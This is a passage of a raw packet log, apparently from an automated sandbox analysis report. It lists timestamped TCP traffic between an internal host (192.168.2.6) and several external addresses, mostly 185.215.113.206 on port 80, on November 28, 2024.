Nov 28, 2024 00:19:44.067516088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.067576885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.068576097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.068620920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.068773985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.068810940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.069696903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.069732904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.069762945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.070384026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.090579033 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:44.090928078 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:44.090939999 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:44.091394901 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:44.095298052 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:44.095376968 CET	443	49846	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:44.125946045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.126013994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.126063108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.126504898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.126538992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.126650095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.126688004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.127665043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.127748966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.127790928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.128747940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.128910065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.129121065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.129163980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.129237890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.129383087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.130278111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.130316973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.130361080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.130542040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.131477118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.131522894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.131640911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.131937981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.132572889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.132618904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.132738113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.132780075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.133673906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.133713007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.133815050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.133860111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.134836912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.134850025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.134877920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.134903908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.135909081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.135948896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.136004925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.136038065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.137037992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.137084961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.137161016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.137197971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.138220072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.138273001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.138312101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.138428926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.139308929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.139352083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.139411926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.139523983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.140434027 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.140444040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.140487909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.140533924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.140563011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.141278982 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.141295910 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.141603947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.141650915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.141693115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.141844988 CET	49844	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.141849041 CET	443	49844	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.141855001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.142759085 CET	49846	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:44.142796040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.142963886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.143002033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.143872976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.143938065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.144021988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.144072056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.145031929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.145076036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.145102024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.145136118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.146182060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.146198034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.146223068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.146243095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.147274017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.147306919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.147376060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.147413015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.148367882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.148422003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.148478031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.148514032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.149523973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.149640083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.149677038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.150635004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.150677919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.150752068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.150868893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.151770115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.151806116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.151860952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.151896954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.154210091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.154246092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.154280901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.154293060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.154314995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.154335976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.154459000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.154520988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.166529894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.166575909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.251425982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.251506090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.251534939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.251568079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.251981020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.252039909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.252053976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.252075911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.253062963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.253114939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.253182888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.253226042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.254338980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.254386902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.254534006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.254585028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.255320072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.255397081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.255429983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.255498886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.256442070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.256510973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.256592035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.256669998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.257627964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.257683992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.257715940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.257777929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.258749962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.258805037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.259058952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.259109974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.259903908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.259959936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.260003090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.260051012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.261014938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.261069059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.261243105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.261286020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.262145042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.262195110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.262231112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.262274027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.263266087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.263329983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.263472080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.263530016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.264369011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.264416933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.264477015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.264558077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.265532970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.265608072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.265639067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.265681028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.266685009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.266733885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.266763926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.266803026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.267790079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.267853975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.267916918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.267956018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.268929958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.268976927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.269032001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.269079924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.270036936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.270081043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.270215034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.270283937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.271157026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.271295071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.271331072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.271331072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.272310972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.272414923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.272470951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.273435116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.273483992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.273515940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.273557901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.274600029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.274652004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.274688005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.274729967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.275688887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.275737047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.275794029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.275842905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.276853085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.276998043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.277034998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.277122974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.277956963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.278031111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.278285027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.278659105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.279084921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.279166937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.279207945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.279251099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.280230999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.280297995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.280463934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.280523062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.302251101 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.302323103 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.302473068 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.302571058 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.302586079 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.302594900 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.302601099 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.304860115 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.304902077 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.305058956 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.305201054 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:44.305217981 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:44.337038994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.337106943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.337119102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.337268114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.337635040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.337714911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.337759018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.337835073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.338711977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.338764906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.338850975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.338936090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.339852095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.340023994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.340044975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.340064049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.340985060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.341037989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.341046095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.341083050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.342109919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.342219114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.342269897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.343250990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.343311071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.343347073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.343383074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.344418049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.344486952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.344573021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.344677925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.345499039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.345551968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.345606089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.345808029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.346628904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.346683979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.346733093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.346772909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.347819090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.347872019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.347898960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.347928047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.349020958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.349064112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.349209070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.349311113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.350070953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.350127935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.350182056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.350260019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.351242065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.351289988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.351347923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.351397038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.352391005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.352449894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.352457047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.352509022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.353483915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.353615999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.353647947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.353647947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.354585886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.354635954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.354767084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.354820013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.355700016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.355766058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.355802059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.355843067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.356848001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.356890917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.357028961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.357069969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.357980967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.358036041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.358330965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.358381987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.359110117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.359169960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.359211922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.359261036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.360224962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.360337019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.360353947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.360377073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.361375093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.361474991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.361592054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.361756086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.362488985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.362550020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.362593889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.363663912 CET	80	49794	185.215.113.206	192.168.2.6
